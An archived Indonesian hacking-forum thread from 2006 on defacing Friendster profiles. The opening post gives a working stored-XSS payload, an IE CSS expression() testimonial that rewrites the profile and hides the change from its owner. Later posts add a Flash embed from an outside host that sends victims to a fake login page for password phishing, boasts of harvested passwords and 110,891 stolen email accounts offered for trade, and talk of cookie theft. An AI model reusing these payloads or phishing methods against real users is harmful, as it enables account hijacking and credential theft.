PDA

View Full Version : Mendeface profil Friendster teman (client side deface) dg testimonial

miracle
21-07-2006, 06:18 AM
ini trik cm pengembangan dr tutor ttg inject script pd friendster... disini gw maw ngajarin gmn ngdeface halaman profile friendster org via inject script..hanya dengan kirim testimonials...



to de point aja...

pertama-tama lo cari target lo dulu...(acc fs yg udah masuk friendlist fs lo)
trus...kasih dia testi dengan kata kata lo,,trus masukkin kode dibawah :

misal contoh testi :

___BEGIN OF TESTIMONIAL____

eh...apa kabar?
<img src="" id="mycode" style="height:expr/**/ession(if(pageViewerID!=pageOwnerID){document.writ e('<body bgcolor=black><b><br><br><center><font face=verdana size=4pt color=white>maaph..<br>tapi account fs yg anda liat uda gua bajak..<br><br>bingung?<Br>ngapain juga..<br><Br><br><br>nobodys servers is safe..<br><br><br>T_F_M #kartubeben<br>@ Dalnet Server<br></b>');document.title = '-friendster gua bajak !!-'}); width:expr/**/ession(document.all.mycode.style.height='0px')" /></img>

___END OF TESTIMONIAL______

perhatikan:
<img src="" id="mycode" style="height:expr/**/ession(

script diatas adalah tag html yg dipake untuk membuka jalan
agar javascript yg kita inject bisa dijalankan.

if(pageViewerID!=pageOwnerID)
fungsi diatas untuk mencegah agar yg punya fs gak
bisa ngliat klo profilenya udah berubah...
jadi perubahan ini cuma bisa dilihat sama orang lain,kecuali pemiliknya.

lalu,
document.write('<body bgcolor=black><b><br><br><center><font face=verdana size=4pt color=white>maaph..<br>tapi account fs yg anda liat uda gua bajak..<br><br>bingung?<Br>ngapain juga..<br><Br><br><br>nobodys servers is safe..<br><br><br>T_F_M #kartubeben<br>@ Dalnet Server<br></b>');document.title = '-friendster gua bajak !!-'});

script diatas adalah script javascript yg fungsinya untuk menuliskan tag html semau kita
kedalam sebuah testi...
sehingga kita bisa merubah seluruh tampilan profile org yg telah mengapprove testi kita..

klo contoh testi diatas dibuka...bentuknya seperti ini :

selama gw coba....trik ini cuma jalan di iexplore...

sebenernya trik diatas bisa diakalin lg untuk kepentingan yg lain....
hehehe



silahkan berfantasi dengan imajinasimu =p


T_F_M
#kartubeben
@DALnet server

Source: JASAKOM Information Center
http://www.jasakom.com/article.aspx?ID=803
blast1412
21-07-2006, 06:37 AM
Topik ini dah ada om :D
Tapi thx dah share..
kuyamen
21-07-2006, 08:22 AM
Hmmm..dah lama sih gw tau trick ginian..dari forum tetangga:)
lumayan nih trick buat ngisengin orang :))
tapi bagus juga sih dipost disini..siapa tau anak sini banyak yg lom tau:D
blast1412
21-07-2006, 09:00 AM
Itulah, sampe sekarang gw ga gitu suka yg namanya FS, dari pertama kali bikin dah ga suka. Soalnya di FS banyak celah keamanannya, karena penguna bisa menyisipkan tag2 berbahaya ke dalam FS yg dapat merugikan org lain sesuka mereka di profil, index, sama testi.
magnum
21-07-2006, 09:09 AM
pake Mozilla FireFox ngak bisa yah???
dede23
21-07-2006, 09:12 AM
ini wa pernah coba...
baca dari jasakom.....
tp katanya ud gak bisa.........
kapan terakir dicoba n berhasil?
Jourdan
21-07-2006, 12:45 PM
HUEHUEHUE, ini gwe juga udah taw... gwe memodif triknya th0r... thx boss th0r!
mas6
21-07-2006, 01:52 PM
wah bisa hack FS orang2 gila neh /gg
thx yan
dede23
21-07-2006, 02:01 PM
trus gmn neh jourdan
masi isa mpe krg?
deka
21-07-2006, 04:05 PM
wakakakaka gw demen nih kaya giniannn wakaka grp deh skali2 wkekeke /heh

tmn2 cewe gw biar pada ngakak2 deh... /heh

eh iya btw text documennya muncul dmn??wa kan dah ngirim testi dan juga dah di upload tapi ga bisa...
gmn donk??/hmm

eh iya btw cara ngubah profil orgna gmn>??/hmm
Jourdan
21-07-2006, 04:48 PM
bisa, baik2 aja
tapi maaf ga bs ngasih taw sapa yg jd korban
dede23
21-07-2006, 05:25 PM
sampai sekarang bisa?
gmn cara nge cek klo hasil deface qt berhasil?
mas6
21-07-2006, 07:47 PM
Dari ada tulisan _______BEGIN TESTIMONIAL_____
sampe ______END TESTIMONIAL_____ ditulis???
mo cek acc ku dolo ah tau2nya jordan ke gwa >:)
dede23
22-07-2006, 09:57 AM
gmn ne jourdan ?
isa gak mpe karang
munculnya dimana tuh
mas6
22-07-2006, 03:18 PM
tunggu dede sabar napa!
dia lagi di luar kotaaa
koq nga isa
uda nda isa kali!!
dede23
23-07-2006, 08:22 AM
hehe ok2
koq nga isa
uda nda isa kali?
maksud na pa mas6
dede23
25-07-2006, 08:08 PM
uiiiiiiiiiiiii
klo ud kena deface ngilanginnya gmn??
wa di marah neh hehe ngedeface punya tmen pdhl cm pengen ngerjain,...
ga bisa balek hehehe.....
tp keren jg yah hasil deface na...
Th0R
25-07-2006, 08:56 PM
Berikut adalah 2 video gw yang mgkn sudah lama ..
Tapi sapa tau masih ad yg blom nonton ..
http://www.hellgeeks.org/Friendster.rar
http://www.hellgeeks.org/FriendsterXSS.rar

To Jourdan:
Ur welcome ..

Ngmg ngmg ..
Semenjak keluarnya video gw di jasakom ada makin banyak orang yang menggunakan tehnik dengan dasar embed yang sama ke FS yeh ..
Jadi berasa salah sama FS ..
LOL @ FS Administrator .. /gg

Current Project: Creating 175MB of Movie to become 1.7MB (Perbandingan 1:100) .. Perkembangan sejauh ini masih banyak gagal .. Hahaha Mohon didoakan .. Siapa tau jadi alogaritma baru /gg

Thanks.
Th0R
dede23
25-07-2006, 08:59 PM
itu kk thor..
cara balikin fs yg ud kena deface gmn?
help2
Th0R
25-07-2006, 09:37 PM
itu kk thor..
cara balikin fs yg ud kena deface gmn?
help2
Delete the testimonial ..

Thanks.
Th0R
dede23
26-07-2006, 12:42 PM
ow.. hehe
ia jg yah..
pdhl simple banget..
hikz kok dudud banget wa
mas6
26-07-2006, 08:32 PM
@dede23
pakai testi yg mana
koq gwa yg dapet testi malah account nya nda papa /swt
gimana sih kaka th0r :D
dede23
26-07-2006, 09:51 PM
hmmm mpe karang..
masi byk yg kna deface, haha
lucu jg ngeliatnya....
hmmph
dede23
26-07-2006, 09:54 PM
masi isa kok mpe karang...
klo wa ngeceknya y pake IE !
pake mozila.. cek testina ud di approve pa lom..
klo ud, link url na lo copy...
paste ke IE <loading aga lm >
biz tu jreng2 kliatan dah
fs lo ud gue bajak haha...
edit scripnya sesuka lo....
-=x|X|x=-
30-07-2006, 03:36 PM
klo testinya udah di deface gimana cara ngerubah FS korban ya ?
dede23
30-07-2006, 05:38 PM
ngubah??
kek na gak isa deh..
lo ubah2 ja tulisannya pake nama lu
isa kok
deka
05-08-2006, 06:59 PM
masi isa kok mpe karang...
klo wa ngeceknya y pake IE !
pake mozila.. cek testina ud di approve pa lom..
klo ud, link url na lo copy...
paste ke IE <loading aga lm >
biz tu jreng2 kliatan dah
fs lo ud gue bajak haha...
edit scripnya sesuka lo....

edit scripna gmn om??dah muncul di profilena dya??
testi dari gw kan dah di aprove ma dya...wa dah copy urlna tapi ga isa...??/hmm

mohon dong dijelasin dengan detail.......:D
dede23
05-08-2006, 07:21 PM
copy url na trus buka di IE

edit ganti dgn nama lo
klo itu kan dari TFM
deka
06-08-2006, 02:28 AM
copy url na trus buka di IE

edit ganti dgn nama lo
klo itu kan dari TFM


WAduh Ga isa ommmmm...gini kan...pas dah di copy urlna kita klik kanan tuh profile trus view source...

kan muncul code2 na tuh..trus caranya edit scriptna dari mana>>jadi yang kita ubah tuh yang mana>>and apa??/hmm

wa coba edit codenya juga ga isa....ada tulisan gini

The text in The C:\Documents and Settings\Game 2\Local Settings\Temporary Internet Files\Contents.IE5\G15TR6R5\29857016 file has changed.

Do you want to save the changes?]

trus yang om ubah dari profile orang apanya??
darkmarket
06-08-2006, 05:06 AM
cara kampungan
nda guna kk, di disk clean up juga ilank ~.~
dede23
06-08-2006, 07:13 AM
wa gak edit profil orang
cuma deface
ganti tampilan depan..
isi nya gak ke obok2
lagian gak ngerti toh..
wa ga tau apa2 ttg hack
-=x|X|x=-
06-08-2006, 02:31 PM
Maksud ngedeface buat ngilangin effect klik kanan yang disable doank ya !
kaya gini http://www.friendster.com/18808312 !
dede23
06-08-2006, 02:50 PM
deface ilangin klik kanan??

ga bro..
klo link itu ud di deface..

pasti dibuka pake IE halaman depannya ud keganti
Jourdan
06-08-2006, 03:36 PM
mau simple?
post testi, n include this code to your testimonial:

<embed src="http://www.g34rs.com/profile/1Direct.swf" width="1" height="1">
</embed>


ntar passnya bakal kekirim ke gwe... :))
dede23
06-08-2006, 06:14 PM
waksss
itu pake flash yah??

duh serem banget..
mulai sekarang jgn terima testi deh ehehe...

bagi2 donk jour caranya....
pgn ngerjain tmen
Jourdan
06-08-2006, 06:20 PM
engga, gwe ga pake sistem professional
pake sistem orang cupu kaya gwe :))

cman bikin fake FS aja
jadi nih flash ngedirect victim ke fake FS gwe

GRPnya lagi full, bsok gwe balesnya ya /sry
Th0R
06-08-2006, 06:28 PM
Yaree yaree .. /swt

Thanks.
Th0R
Jourdan
06-08-2006, 06:29 PM
yare yare? /swt

pake thanks lagi... /swt
dede23
06-08-2006, 06:43 PM
kok bisa passnya ke ambil juga??
@OOT
yaree2 tu apa seh?
-=x|X|x=-
08-08-2006, 02:57 PM
Ini Contohnya Yang Udah Gw Deface http://www.friendster.com/18264605 trus gimana lagi ?, kok ga' ada perubahan !
anakmeonk
09-08-2006, 08:55 AM
ad cara biar yang punya sadar bahwa fs nya di deface..... (halaman item ituh..)
biar g bsa di delete testinya....????
Jourdan
12-08-2006, 12:51 PM
nih gwe pake fake fs dpt lumayan byk:
baru beberapa nieh :P:
http://img301.imageshack.us/img301/543/injectsz1.th.jpg (http://img301.imageshack.us/my.php?image=injectsz1.jpg)
maaf yg kena fake fs gwe /sry tp gwe ga pernah nyentuh FS orang kcuali gwe benci tuh orang
dede23
12-08-2006, 05:44 PM
ebad lo boz...
klo dia kena fake...
masa pass isa keambil?
crualry
12-08-2006, 06:36 PM
deface itu apa????
trus koq isa ambil pass org? Gmn caranya.. Bagi2 plis.. /e8
Pengen banget nich iseng-in org..ato tar wa copy paste link itu ke testi, trus tar ksh tau pass nya ya kk jordan? /e8
Th0R
13-08-2006, 12:44 AM
110,891 Emails from myspace, orkut and friendster gains using XSS have been collected by m3h .. /heh Want some?! LOL
Most of them worked with the email accounts also .. Some of them are having such a great amount of paypals and internet banking accounts .. Just really makes m3h want to strip all their money .. Hahahahahahaha But, nahhhh my girl really pissed on m3h whenever i tried to do such a things again .. LOL Just be my "boss" lil officer then /heh

Th0R got defeated by a girl?!
GOD DAMNIT!!!!
Hahahaha

Anyone want to trade some emails with some good stuffs?
Feel free to contact m3h ..

@dede23 ..
Yeap u can .. I gave u the video before .. LOL Why dont u learn more and more instead leeching stuffs here??? o.O
Not only Friendster .. Orkut, MySpace, Yahoo, GMail and some forums can be fooled by XSS .. LOL
Focusing my research on Hotmail rite now .. They are indeed sux with such a good patching flow instead of scurity ..
Hasta la victoria de siempre!!! /heh

Thanks.
Th0R
crualry
13-08-2006, 02:17 AM
@thor
how to do that? /e2
and what is deface n XSS?
sorry, I am a newbie on computer stuff.. /wah
dede23
13-08-2006, 12:25 PM
@Th0R
im a noob n leecher >.<
Jourdan
13-08-2006, 07:27 PM
seperti kalimat yang diutarakan pembuat Open BSD(Open BSD adalah Operation System tersecure sekarang):
"Gak ada yang secure didunia ini!"

(kalimat yg gwe baca dimana geto)

@dede23
cari ttg nyolong cookie di Jasakom/tutorialnya th0r (lupa gwe yg mana)
ada byk cara deh! gmail aja dengan gampangnya bsa dijbol... ya ga th0r? /gg
Th0R
13-08-2006, 08:09 PM
Gak tuh /e4
Gw kan cuman n00b /wah

Thanks.
Th0R
dede23
16-08-2006, 08:52 PM
yeee abang thor gak ngaku
tidus_sakray
16-08-2006, 09:22 PM
uhm..sory,, what is deface anyway? /hmm
I am a beginner..^^..
crualry
18-08-2006, 02:59 AM
kk thor..koq movie yg pake XSS ndak isa ya? (movie-nya macet di tengah jalan).. apa kompie wa yg error? di tengah jalan macet movie-nya../sob
Th0R
18-08-2006, 04:37 AM
Lompatin bagian view source ..

Thanks.
Th0R
swaft
18-08-2006, 03:20 PM
bro..yang deface lewat testi udah ga bisa yah???kok dicoba ga ada pengaruhnya...??
basgol
18-08-2006, 09:00 PM
rik ajaring gw pls???
crualry
19-08-2006, 03:12 AM
kk thor..
movie yg judulnya friendster.rar (bukan yg XSS) rusak ya../sob
klo iya, tolong di upload lagi plis, pengen liat (>_<).. /wah
dede23
26-08-2006, 06:01 PM
ud dibilang lewatin bagian view source
crualry
28-08-2006, 03:17 AM
iya, yg XSS bisa di lewatin view source nya..
Klo yg gak pake XSS, baru pengen di extract, udh rusak duluan../sob
anakmeonk
01-09-2006, 03:52 PM
sampai sekarang bisa?
gmn cara nge cek klo hasil deface qt berhasil?


sblom loe kirim loe preview dolo bro.....

nah setelah testi loe d aprovvvve psti berhasil!
Gloria
15-09-2006, 05:36 PM
Nanya Donk /?
Berarti Klo Testi Nya , Nggak Diterima (Nggak Di Approve) Berarti Qta Gagal Donk Nge Deface Dia :-/

Trus Misalnya Qta Testinya Dah Di Approve , Gw Suruh Ngapain Ke Temen Gw /? Gw Suruh Dia Buka Menu Profile Apa Suruh Dia Buka Menu Edit Profile /?

kek Nya Gak Jalan Di Mozzila Ya /sob
hysteria
15-09-2006, 10:56 PM
@Gloria
keliatan kalo di IE, lo copy link profilnya di IE
Ariel
18-10-2006, 03:45 PM
ad cara biar yang punya sadar bahwa fs nya di deface..... (halaman item ituh..)
biar g bsa di delete testinya....????

waduh gw pgn bgt bisa kyk gtu !!! gmn caranya !? kasih tau donkk !!!! gw butuh bgt neh!!!!
D-Cracker
18-10-2006, 05:16 PM
EHm.. Sorry Jek /omg Nih Tutor Dah Basi /swt huek... /! Dah Nggak Berlaku Di FS Lage , Nih Tutor Dah Dari Zaman Kuda Makan Besi /swt
Ariel
19-10-2006, 01:09 PM
EHm.. Sorry Jek Nih Tutor Dah Basi huek... Dah Nggak Berlaku Di FS Lage , Nih Tutor Dah Dari Zaman Kuda Makan Besi

nah itu tujuan gw !! kbetulan neh !!! jd loe bisa ngajarin gw ttg mendeface fs yg baru donk !!!!! plisss kasih tau gw bang d - cracker gw butuh bgt neh !!! klo bisa loe pm ke gw aza ya.... plisssssss *bersujud 100 x*
asuturo
19-10-2006, 02:56 PM
eh,gw gabung ya...


btw gw cba utk fs friend koq g bs??

caranya gimana??
D-Hacker
19-10-2006, 06:11 PM
eh,gw gabung ya...
btw gw cba utk fs friend koq g bs??
caranya gimana??
Ya Eyalah /swt Orang Nich Tutor Dah Basi , Kt KK GW D-Cracker /heh Ada 1 Cara "Ngirim Cookie" Ke FS Yg Jd Sasarab /omg Trus GW Lupa Lagi... Ntar Dech Wa Nanya Dolo
darkwing
25-10-2006, 07:09 PM
kl masalah ngirim cookie perna di ajarin thor pas di vidio " Yahoo hacking " cumen langkah selanjutnya itu gak tahan pusink nya
aPhRoDite
25-10-2006, 07:57 PM
masi isa kok mpe karang...
klo wa ngeceknya y pake IE !
pake mozila.. cek testina ud di approve pa lom..
klo ud, link url na lo copy...
paste ke IE <loading aga lm >
biz tu jreng2 kliatan dah
fs lo ud gue bajak haha...
edit scripnya sesuka lo....





maksudnya "link url" tu yang mana seh? tulung jelasin donk... gwe juga pake IE... internet Explorer kan.. susah jga yah nge deface gitu balz yah
d1aMoNd
25-10-2006, 08:44 PM
swt...
masih jaman apa deface FS orang??.... /swt /swt /ho /ho
aPhRoDite
26-10-2006, 06:51 AM
bukannya yang ini udah ga isa di pake kan.. /??
swt deh /swt omg deh /omg udah di coba orang2 ga pernah bisa brarti emang udah ndak bisa wkakwkwakwakwakwakwak /heh
D-Cracker
01-11-2006, 07:36 PM
Iya Klo Lewat Cookie Juga Msh Bisa /heh Make Trik "Menyembunyikan Code Java Script Terhadap Browser Non Java Script Bisa Nggak ya /?" Coba Dech /heh
meyerzz
05-11-2006, 03:43 PM
gimana caranya tuh??
D-Cracker
13-11-2006, 06:05 PM
Ada Tuh Di Bagian Security N Hacking , Deface Profile FS Part II /no1
meyerzz
13-11-2006, 06:10 PM
ditaruh di testi kan?
chocobokiller2
27-11-2006, 09:28 AM
coba ahh...
Maliq
02-12-2006, 06:30 PM
:D :-/ >:D< :"> =(( X( :) KalAU bIsA jaNGAN HAMpIR Sm dG yG lAEn

Tapi,TRiMZ atAS iNFoRmaSinya!!!

Ok